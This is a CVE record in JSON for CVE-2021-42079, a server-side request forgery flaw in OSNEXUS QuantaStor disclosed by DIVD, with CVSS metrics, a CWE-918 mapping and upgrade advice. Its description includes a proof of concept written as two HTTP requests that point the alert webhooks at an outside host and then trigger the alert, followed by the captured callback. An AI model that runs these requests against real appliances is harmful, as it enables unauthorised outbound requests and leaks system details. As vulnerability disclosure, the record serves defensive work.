vuln-cve/data/2021/42xxx/CVE-2021-42079.json

{
    "dataType": "CVE_RECORD",
    "dataVersion": "5.1",
    "cveMetadata": {
        "cveId": "CVE-2021-42079",
        "assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217",
        "state": "PUBLISHED",
        "assignerShortName": "DIVD",
        "dateReserved": "2021-10-07T17:12:57.677Z",
        "datePublished": "2023-07-10T06:29:48.339Z",
        "dateUpdated": "2025-09-22T06:40:03.059Z"
    },
    "containers": {
        "cna": {
            "affected": [
                {
                    "collectionURL": "https://www.osnexus.com/downloads",
                    "defaultStatus": "unknown",
                    "platforms": [
                        "Windows",
                        "Linux"
                    ],
                    "product": "QuantaStor",
                    "vendor": "OSNEXUS",
                    "versions": [
                        {
                            "lessThan": "6.0.0.355",
                            "status": "affected",
                            "version": "0",
                            "versionType": "semver"
                        }
                    ]
                }
            ],
            "credits": [
                {
                    "lang": "en",
                    "type": "finder",
                    "value": "Wietse Boonstra (DIVD)"
                },
                {
                    "lang": "en",
                    "type": "analyst",
                    "value": "Frank Breedijk (DIVD)"
                },
                {
                    "lang": "en",
                    "type": "analyst",
                    "value": "Victor Pasman (DIVD)"
                },
                {
                    "lang": "en",
                    "type": "analyst",
                    "value": "Victor Gevers (DIVD)"
                },
                {
                    "lang": "en",
                    "type": "analyst",
                    "value": "Max van der Horst (DIVD)"
                },
                {
                    "lang": "en",
                    "type": "analyst",
                    "value": "Célistine Oosting (DIVD)"
                }
            ],
            "descriptions": [
                {
                    "lang": "en",
                    "supportingMedia": [
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                            "type": "text/html",
                            "value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.<br><br>POC<br><br>Step 1: Prepare the SSRF with a request like this:<br><br><tt><span style=\"background-color: rgba(29, 28, 29, 0.04);\">GET /qstorapi/alertConfigSet?senderEmailAddress=a&amp;smtpServerIpAddress=BURPCOLLABHOST&amp;smtpServerPort=25&amp;smtpUsername=a&amp;smtpPassword=1&amp;smtpAuthType=1&amp;customerSupportEmailAddress=1&amp;poolFreeSpaceWarningThreshold=1&amp;poolFreeSpaceAlertThreshold=1&amp;poolFreeSpaceCriticalAlertThreshold=1&amp;pagerDutyServiceKey=1&amp;slackWebhookUrl=</span>http://&lt;target&gt;<span style=\"background-color: rgba(29, 28, 29, 0.04);\">&amp;enableAlertTypes&amp;enableAlertTypes=1&amp;disableAlertTypes=1&amp;pauseAlertTypes=1&amp;mattermostWebhookUrl=</span>http://&lt;TARGET&gt;<br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">HTTP/1.1\n<br>Host: &lt;HOSTNAME&gt; <br>Accept-Encoding: gzip, deflate\n<br>Accept: */*\nAccept-Language: en\n<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36<br>\nConnection: close\n<br>authorization: Basic &lt;BASIC_AUTH_HASH&gt; <br>Content-Type: application/json\n<br>Content-Length: 0</span></tt><br><tt><br>Step 2: Trigger this alert with this request<br><br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">GET /qstorapi/alertRaise?title=test&amp;message=test&amp;severity=1 <br>HTTP/1.1\n<br>Host: &lt;HOSTNAME&gt; <br>Accept-Encoding: gzip, deflate\n<br>Accept: */*\n<br>Accept-Language: en\n<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n<br>Connection: close\n<br>authorization: Basic &lt;BASIC_AUTH_HASH&gt; <br>Content-Type: application/json\n<br>Content-Length: 1<br><br></span></tt>The post request received by &lt;TARGET&gt; looks like this:<br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">{<br> \n### Python FLASK stuff ####\n<br> 'endpoint': 'index', <br> \n'method': 'POST', <br> \n'cookies': ImmutableMultiDict([]), <br> \n### END Python FLASK stuff ####\n<br> \n'data': b'{ <br>  \"attachments\": [ <br>   {\n<br>    \"fallback\": \"[122] test / test.\",\n<br>    \"color\": \"#aa2222\",\n<br>    \"title\": \"[122] test\",\n<br>    \"text\": \"test\",\n<br>    \"fields\": [ &nbsp; <br>     { &nbsp; &nbsp;\n<br>      \"title\": \"Alert Severity\",\n     &nbsp; &nbsp;<br>      \"value\": \"CRITICAL\",\n     &nbsp; &nbsp;<br>      \"short\": false &nbsp;<br>     }, &nbsp;{ &nbsp; <br>      \"title\": \"Appliance\", &nbsp; &nbsp; <br>      \"value\": \"quantastor (</span>https://&lt;HOSTNAME&gt;<span style=\"background-color: rgba(29, 28, 29, 0.04);\">)\",\n  &nbsp; &nbsp; <br>      \"short\": true &nbsp;\n<br>     }, &nbsp;{ &nbsp; &nbsp;\n<br>      \"title\": \"System / Driver / Kernel Ver\", &nbsp; &nbsp;\n<br>      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\", &nbsp; &nbsp;\n<br>      \"short\": false &nbsp;\n<br>     }, &nbsp;{ &nbsp; &nbsp;\n<br>      \"title\": \"System Startup\", &nbsp; &nbsp;\n<br>      \"value\": \"Fri Aug &nbsp;6 16-02-55 2021\", &nbsp; &nbsp;\n<br>      \"short\": true &nbsp;\n<br>          }, &nbsp;{ &nbsp; &nbsp;\n<br>      \"title\": \"SSID\", &nbsp; &nbsp;\n<br>      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\", &nbsp; &nbsp;\n<br>      \"short\": true &nbsp;\n<br>     },<br>    ],\n<br>    \"footer\": \"QuantaStor Call-home Alert\",\n<br>    \"footer_icon\": \"</span><a target=\"_blank\" rel=\"nofollow\" href=\"https://platform.slack-edge.com/img/default_application_icon.png\">https://platform.slack-edge.com/img/default_application_icon.png</a><span style=\"background-color: rgba(29, 28, 29, 0.04);\">\",\n<br>    \"ts\": 1628461774<br>   }<br>  ], <br>  \"mrkdwn\":true <br> }', <br> #### FLASK REQUEST STUFF #####\n<br> 'headers': {\n<br>  'Host': '&lt;redacted&gt;', <br>  'User-Agent': 'curl/7.58.0', <br>  'Accept': '*/*', <br>  'Content-Type': 'application/json', <br>  'Content-Length': '790'\n<br> }, <br> 'args': ImmutableMultiDict([]), <br> 'form': ImmutableMultiDict([]), <br> 'remote_addr': '217.103.63.173', <br> 'path': '/payload/58', <br> 'whois_ip': 'TNF-AS, NL'<br>}\n<br>#### END FLASK REQUEST STUFF #####</span><tt></tt>"
                        }
                    ],
                    "value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>\nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test&message=test&severity=1 \nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by <TARGET> looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n        \n      \"value\": \"CRITICAL\",\n        \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://<HOSTNAME>)\",\n      \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n          },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '<redacted>', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####"
                }
            ],
            "metrics": [
                {
                    "cvssV3_1": {
                        "attackComplexity": "LOW",
                        "attackVector": "NETWORK",
                        "availabilityImpact": "NONE",
                        "baseScore": 6.2,
                        "baseSeverity": "MEDIUM",
                        "confidentialityImpact": "HIGH",
                        "integrityImpact": "NONE",
                        "privilegesRequired": "HIGH",
                        "scope": "CHANGED",
                        "userInteraction": "REQUIRED",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N",
                        "version": "3.1"
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                    "format": "CVSS",
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                        {
                            "cweId": "CWE-918",
                            "description": "CWE-918 Server-Side Request Forgery (SSRF)",
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                            "type": "CWE"
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            "providerMetadata": {
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                "dateUpdated": "2025-09-22T06:40:03.059Z"
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            "references": [
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                    "tags": [
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                    "url": "https://www.wbsec.nl/osnexus"
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                    "url": "https://cisrt.divd.nl/DIVD-2021-00020/"
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                    "tags": [
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                    "url": "https://www.osnexus.com/products/software-defined-storage"
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                    "tags": [
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                    "url": "https://csirt.divd.nl/CVE-2021-42079"
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            "solutions": [
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                    "lang": "en",
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                            "base64": false,
                            "type": "text/html",
                            "value": "Upgrade to the latest version of OSNEXUS QuantaStor."
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                    ],
                    "value": "Upgrade to the latest version of OSNEXUS QuantaStor."
                }
            ],
            "source": {
                "discovery": "INTERNAL"
            },
            "title": "SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355",
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                "metrics": [
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                        "other": {
                            "type": "ssvc",
                            "content": {
                                "timestamp": "2024-11-04T20:06:08.530050Z",
                                "id": "CVE-2021-42079",
                                "options": [
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                                        "Exploitation": "none"
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